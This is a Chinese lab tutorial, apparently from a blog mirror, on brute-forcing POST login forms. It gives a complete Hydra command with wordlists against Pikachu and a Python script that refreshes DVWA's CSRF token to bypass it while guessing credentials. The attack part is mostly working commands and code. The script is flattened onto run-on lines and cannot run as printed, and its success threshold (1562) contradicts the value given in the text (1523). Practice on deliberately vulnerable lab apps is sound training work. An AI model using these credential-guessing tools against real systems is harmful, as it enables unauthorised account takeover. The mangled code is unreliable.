当前位置: 首页 > news >正文

Hydra post登录框爆破

文章目录

  • 无token时的Hydra post登录框爆破
  • 带Token时的Hydra post登录框爆破

无token时的Hydra post登录框爆破

登录一个无验证码和token的页面,同时抓包拦截
在这里插入图片描述

取出发送数据包:username=adb&password=133&submit=Login
将用户名和密码替换
username=USER&password=PASS&submit=Login
同时获取路径:/pikachu/vul/burteforce/bf_form.php
拼接发送数据后就是:
/pikachu/vul/burteforce/bf_form.php:username=USER&password=PASS&submit=Login
获取目标Ip:192.168.180.2
获取登录失败时的错误提示:username or password is not exists~
在这里插入图片描述

启动hydra开始爆破
hydra -L /home/kali/dic/acount.txt -P /home/kali/dic/mima.txt -V -f 192.168.180.2 http-post-form “/pikachu/vul/burteforce/bf_form.php:username=USER&password=PASS&submit=Login:username or password is not exists~”
-f表示找到一个马上停止
在这里插入图片描述

带Token时的Hydra post登录框爆破

首先准备一个带token的登录页面
在这里插入图片描述

抓包可以看到存在token
在这里插入图片描述

提取其中的POST路径:/dvwa/login.php
提取ip:192.168.180.2

然后准备一个python脚本,将路径和ip替换到相应位置,如下所示

# -*- coding: utf-8 -*-
import urllib
import requests
from bs4 import BeautifulSoup
##第一步,先访问 http://127.0.0.1/login.php页面,获得服务器返回的cookie和token
def get_cookie_token(ip, url):headers={'Host':ip,'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Connection':'keep-alive','Upgrade-Insecure-Requests':'1'}res=requests.get(url,headers=headers)cookies=res.cookiesa=[(';'.join(['='.join(item)for item in cookies.items()]))]   ## a为列表,存储cookie和tokenhtml=res.textsoup=BeautifulSoup(html,"html.parser")token=soup.form.contents[3]['value']a.append(token)return a##第二步模拟登陆
#ip 192.168.180.2
#url 'http://192.168.180.2/dvwa/login.php'
def Login(a,username,password, ip, url):    #a是包含了cookie和token的列表headers={'Host':ip,'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Connection':'keep-alive','Content-Length':'88','Content-Type':'application/x-www-form-urlencoded','Upgrade-Insecure-Requests':'1','Cookie':a[0],'Referer':url}values={'username':username,'password':password,'Login':'Login','user_token':a[1]}data=urllib.parse.urlencode(values)resp=requests.post(url,data=data,headers=headers)return 
#重定向到index.php
def getacount(ip, url):with open("acount.txt",'r') as f:users=f.readlines()stop = Falsefor user in users:if stop == True:breakuser=user.strip("\n")                 #用户名with open("mima.txt",'r') as file:passwds=file.readlines()for passwd in passwds:passwd=passwd.strip("\n")   #密码a=get_cookie_token(ip, url)              ##a列表中存储了服务器返回的cookie和tokeLogin(a,user,passwd, ip, url)headers={'Host':ip,'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Connection':'keep-alive','Upgrade-Insecure-Requests':'1','Cookie':a[0],'Referer':url}response=requests.get(url,headers=headers)#print(len(response.text))content_size = len(response.text)if content_size != 1562:    #如果登录成功print("用户名为:%s ,密码为:%s"%(user,passwd))   #打印出用户名和密码stop = Truebreak
def main():ip = "192.168.180.2"url = "http://192.168.180.2/dvwa/login.php"getacount(ip, url)
if __name__=='__main__':main()

然后开启print(len(response.text))获取错误登录时的长度
在这里插入图片描述

可以看到错误时都是1523,将该值替换到 if content_size != 1523: #如果登录成功
同时注释print(len(response.text))
可以看到顺利爆破出了用户名密码
在这里插入图片描述

相关文章:

  • Linux学习---有关监控系统zabbix的感悟
  • 音视频常见问题(七):首开慢
  • JVM虚拟机:垃圾回收器组合参数设定
  • 谷歌推出基于AI的产品图像生成工具;[微软免费课程:12堂课入门生成式AI
  • 项目实战:分页功能实战
  • Pytho入门教程之Python运行的三种方式
  • MTK联发科天玑9000旗舰5G移动平台处理器_MT6983芯片定制开发
  • GPT学习笔记
  • 解决方案中word中分节符的使用
  • Linux软件安装包管理器yum
  • 【漏洞复现】Apache_Tomcat7+ 弱口令 后台getshell漏洞
  • AI:52-基于深度学习的垃圾分类
  • Azure 机器学习 - 设置 AutoML 训练时序预测模型
  • AI 引擎系列 4 - 首次运行 AI 引擎编译器和 x86simulator(2022.1 更新)
  • leetCode 322.零钱兑换 完全背包 + 动态规划 + 记忆化搜索 + 递推 + 空间优化 + 画递归树
  • 【Redis学习笔记】2018-06-28 redis命令源码学习1
  • 【划重点】MySQL技术内幕:InnoDB存储引擎
  • 【跃迁之路】【733天】程序员高效学习方法论探索系列(实验阶段490-2019.2.23)...
  • Dubbo 整合 Pinpoint 做分布式服务请求跟踪
  • HashMap ConcurrentHashMap
  • Java 9 被无情抛弃,Java 8 直接升级到 Java 10!!
  • node.js
  • node和express搭建代理服务器(源码)
  • 程序员最讨厌的9句话,你可有补充?
  • 两列自适应布局方案整理
  • 什么是Javascript函数节流?
  • 我从编程教室毕业
  • ​LeetCode解法汇总1276. 不浪费原料的汉堡制作方案
  • (11)MATLAB PCA+SVM 人脸识别
  • (delphi11最新学习资料) Object Pascal 学习笔记---第8章第2节(共同的基类)
  • (Ruby)Ubuntu12.04安装Rails环境
  • (二)linux使用docker容器运行mysql
  • (附源码)springboot优课在线教学系统 毕业设计 081251
  • (附源码)springboot助农电商系统 毕业设计 081919
  • (接口封装)
  • (十六)Flask之蓝图
  • (转)人的集合论——移山之道
  • .net 程序发生了一个不可捕获的异常
  • .NET 读取 JSON格式的数据
  • .net 怎么循环得到数组里的值_关于js数组
  • .NET导入Excel数据
  • .php文件都打不开,打不开php文件怎么办
  • /deep/和 >>>以及 ::v-deep 三者的区别
  • @ 代码随想录算法训练营第8周(C语言)|Day53(动态规划)
  • @media screen 针对不同移动设备
  • @require_PUTNameError: name ‘require_PUT‘ is not defined 解决方法
  • [android] 手机卫士黑名单功能(ListView优化)
  • [Asp.net mvc]国际化
  • [C++] new和delete
  • [Docker]十二.Docker consul集群搭建、微服务部署,Consul集群+Swarm集群部署微服务实战
  • [EFI]MSI GF63 Thin 9SCXR电脑 Hackintosh 黑苹果efi引导文件
  • [LeetCode] Max Points on a Line
  • [leetcode]56. Merge Intervals归并区间
  • [LeetCode]—Permutations 求全排列
  • [Linux]使用CentOS镜像与rpm来安装虚拟机软件